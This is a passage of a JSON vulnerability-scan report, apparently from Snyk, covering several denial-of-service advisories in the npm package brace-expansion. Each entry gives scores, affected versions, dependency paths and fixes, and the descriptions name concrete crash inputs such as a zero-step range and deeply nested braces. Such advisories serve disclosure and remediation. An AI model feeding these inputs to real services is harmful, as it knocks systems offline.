"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
